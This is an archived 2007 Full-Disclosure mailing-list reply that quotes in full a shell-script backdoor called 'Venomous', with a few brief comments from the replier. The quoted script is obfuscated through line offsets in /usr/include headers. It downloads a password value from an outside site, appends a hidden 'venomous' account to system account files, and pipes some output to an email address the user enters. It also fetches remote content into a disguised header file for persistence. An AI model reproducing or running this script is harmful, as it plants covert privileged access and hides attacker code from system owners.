full-disclosure-uk May 2007 archive
Main Archive Page > Month Archives  > full-disclosure-uk archives
full-disclosure-uk: Re: [Full-disclosure] Linux big bang theory.

Re: [Full-disclosure] Linux big bang theory....

From: Guasconi Vincent <tyoptyop_at_nospam>
Date: Wed May 09 2007 - 23:16:04 GMT
To: "J. Oquendo" <sil@infiltrated.net>, full-disclosure@lists.grok.org.uk


On 5/9/07, J. Oquendo <sil@infiltrated.net> wrote:
> Enjoy||Complain
>
> # !/bin/sh
> # Venomous
> # Linux PoC backdoor keeper...
> # http://www.infiltrated.net/ubuntuDestruction.php
> # J. Oquendo (c) 05/09/2007
>
> # If you have to ask you shouldn't run this password for venomous
> # is password
>
>
> happy=`awk 'NR==59 {gsub(/"/,"");print $3}' /usr/include/paths.h`
> days=`awk 'NR==74 {gsub(/,/,"");print $8}' /usr/include/sysexits.h`
> guitar=`wget -qO - http://www.infiltrated.net/guitar|sed -n '1p'`
> sed -n '1p' $happy|awk -F ":" 'BEGIN{OFS=":"}{$1="venomous"}1{$2=""}2' >> $days
> sed -n '1p' $days|sed 's/[^:]*:/venomous:/'|awk -vguitar=$guitar -F ":" 'BEGIN{OFS=":"}{$2='guitar'}2' >> $happy
> what=`sed -n '58p' /usr/include/sysexits.h |awk '{print $5}'`
> who=`sed -n '60p' /usr/include/linux/wireless.h |awk 'gsub(/,/, ""){print $4" -a"}'`
> echo "Enter your email address" ; read ans ; where=$ans
> $who | $what $where

Ouch!

> # Ugly method too keep a rootaccount Follows... For those not in the know...
> # Venomous was an idea made to prove a point, not give script kiddiots another
> # tool to be morons with. Instead of ruining things, how about solving...
> # Instead of naysaying... Prove me wrong
>
>
> # Pick a ranDumb file in /usr/includes/ then create the samevbackdoor on the
> # system using this filename. Do something sneaky on your own to place this
> # file on a startup I could show you, but then I would have to kill -9 you
>
> # Note the location... Highly doubtable to remove an actual include file
> # unless some stupid admin did something really dumb... Before someone mouths
> # around via e-mail... I could have written this all inclusively but I chose
> # not to for obvious reasons...
>
> random=`date|awk -F : '{print $3}'|awk '{print $1}'`
> echo $random > /tmp/secCommand
> sad=`awk '{print "ls /usr/include|sed -n '\''"$1"p'\''"}' /tmp/secCommand|sed -n '1p'`
> rm /tmp/secCommand
> filename=`echo $sad|sh|awk -F . '{print $1}'`
>
> lynx -dump http://www.infiltrated.net/ubuntuDestruction.php|sed -n '226,233p' >> /usr/local/include/$filename.h

Ouch!

> # Now of course I could have modified this to replicate any one of the files
> # on startup but again... PoC ... The naysayers will ramble on about "You're
> # out of your mind..." Am I? I've given you the PoC's what more do you want...
> # Ubuntu or any Linux for the lowly home user is a horrible idea...

Yes. mum and dad are on FreeBSD.

> # And AGAIN before someone fires off "I would see the URL and that's a dead
> # giveaway!" ... Look, I'm trying to make a point here... I "could have"
> # a functioning backdoor undetectable to most integrity checkers, Samhain,
> # Tripwire etc., but why should I disclose this anywhere. It's not in the
> # best interest of anyone to do so... Don't bother asking for it via email
> # because it's not public and will never be...

Here, it's Full Disclosure. And we believe in it.

> # This again... Was to prove a point to the naysayers who this shit doesn't
> # happen... Keep dreaming. Its only a matter of time before you guys go
> # Goo Goo about getting Linux for Idjits off the ground, but its a horrible
> # mistake in the making

Please accept my 2 cts. -- Guasconi Vincent Etudiant. http://altmylife.blogspot.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/